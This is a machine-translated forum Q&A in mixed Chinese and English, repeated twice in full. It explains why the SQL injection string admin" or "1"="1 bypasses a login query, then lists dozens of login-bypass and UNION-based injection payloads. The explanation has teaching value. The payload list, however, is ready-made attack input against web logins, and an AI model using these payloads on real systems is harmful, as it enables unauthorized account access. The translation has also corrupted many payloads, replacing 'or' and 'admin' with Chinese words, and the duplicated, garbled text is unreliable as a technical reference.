admin”或“1”=“1”是什么意思?
What is the meaning of admin" or "1"="1?
我 运行 admin" or "1"="1
在一个网站上我有 运行 SQL 注入的完全权限。该站点配置错误,让我直接登录。
我不明白的是,为什么最后一个数字 1 后不需要双引号?
如果 php 是这样工作的:username="admin" and password=md5("password")
,那么 admin" 之后的引号会关闭第一个引号。
"1" is closed, but I don't understand "1
谁能帮我解释一下?
提前致谢
想想应用程序中的 SQL 查询可能是什么。
如您所说,可能类似于 select * from users where username="<<username>>" and password=md5("<<password>>")
。
注入 <<username>>
和 <<password>>
后,您仍然需要有一个有效的 SQL 查询,否则应用程序将因错误而失败。
使用 <<username>>
进行注入,admin
后的引号关闭用户名字符串,or "1"="1
使查询如下:
select * from users where username="admin" or "1"="1" and password=md5("<<password>>")
这是有效的,并且由于 and
的优先级高于 or
,它会获得一个名为 "admin" 的用户或具有您在其他字段中输入的密码的用户- 没关系。
如果在注入字符串的末尾有一个引号,查询将是 select * from users where username="admin" or "1"="1"" and password=md5("<<password>>")
,这是无效的 SQL,因为有两个引号(很容易看出,因为引号的数量是奇数)。
最终 1 之后的双引号将由应用程序中的 SQL 查询关闭。
SQL 注入模式
或 1=1
或1=1--
或1=1#
或1=1/*
管理员' --
管理员'#
admin'/*
admin' 或 '1'='1
admin' 或 '1'='1'--
管理员'或'1'='1'#
admin' 或 '1'='1'/*
admin'or 1=1 or ''='
admin' 或 1=1
admin' 或 1=1--
admin' 或 1=1#
admin' 或 1=1/*
admin') 或 ('1'='1
admin') 或 ('1'='1'--
admin') 或 ('1'='1'#
admin') 或 ('1'='1'/*
admin') 或 '1'='1
admin') 或 '1'='1'--
admin') 或 '1'='1'#
admin') 或 '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
管理员”--
管理员" #
admin"/*
admin" 或 "1"="1
admin" 或 "1"="1"--
admin" 或 "1"="1"#
admin" 或 "1"="1"/*
admin"or 1=1 or ""="
管理员" 或 1=1
admin" 或 1=1--
admin" 或 1=1#
admin" 或 1=1/*
admin") 或 ("1"="1
admin") 或 ("1"="1"--
admin") 或 ("1"="1"#
admin") 或 ("1"="1"/*
admin") 或 "1"="1
admin") 或 "1"="1"--
admin") 或 "1"="1"#
admin") 或 "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
希望对您有所帮助
我 运行 admin" or "1"="1
在一个网站上我有 运行 SQL 注入的完全权限。该站点配置错误,让我直接登录。
我不明白的是,为什么最后一个数字 1 后不需要双引号?
如果 php 是这样工作的:username="admin" and password=md5("password")
,那么 admin" 之后的引号会关闭第一个引号。
"1" is closed, but I don't understand "1
谁能帮我解释一下?
提前致谢
想想应用程序中的 SQL 查询可能是什么。
如您所说,可能类似于 select * from users where username="<<username>>" and password=md5("<<password>>")
。
注入 <<username>>
和 <<password>>
后,您仍然需要有一个有效的 SQL 查询,否则应用程序将因错误而失败。
使用 <<username>>
进行注入,admin
后的引号关闭用户名字符串,or "1"="1
使查询如下:
select * from users where username="admin" or "1"="1" and password=md5("<<password>>")
这是有效的,并且由于 and
的优先级高于 or
,它会获得一个名为 "admin" 的用户或具有您在其他字段中输入的密码的用户- 没关系。
如果在注入字符串的末尾有一个引号,查询将是 select * from users where username="admin" or "1"="1"" and password=md5("<<password>>")
,这是无效的 SQL,因为有两个引号(很容易看出,因为引号的数量是奇数)。
最终 1 之后的双引号将由应用程序中的 SQL 查询关闭。
SQL 注入模式 或 1=1
或1=1--
或1=1#
或1=1/*
管理员' --
管理员'#
admin'/*
admin' 或 '1'='1
admin' 或 '1'='1'--
管理员'或'1'='1'#
admin' 或 '1'='1'/*
admin'or 1=1 or ''='
admin' 或 1=1
admin' 或 1=1--
admin' 或 1=1#
admin' 或 1=1/*
admin') 或 ('1'='1
admin') 或 ('1'='1'--
admin') 或 ('1'='1'#
admin') 或 ('1'='1'/*
admin') 或 '1'='1
admin') 或 '1'='1'--
admin') 或 '1'='1'#
admin') 或 '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
管理员”--
管理员" #
admin"/*
admin" 或 "1"="1
admin" 或 "1"="1"--
admin" 或 "1"="1"#
admin" 或 "1"="1"/*
admin"or 1=1 or ""="
管理员" 或 1=1
admin" 或 1=1--
admin" 或 1=1#
admin" 或 1=1/*
admin") 或 ("1"="1
admin") 或 ("1"="1"--
admin") 或 ("1"="1"#
admin") 或 ("1"="1"/*
admin") 或 "1"="1
admin") 或 "1"="1"--
admin") 或 "1"="1"#
admin") 或 "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
希望对您有所帮助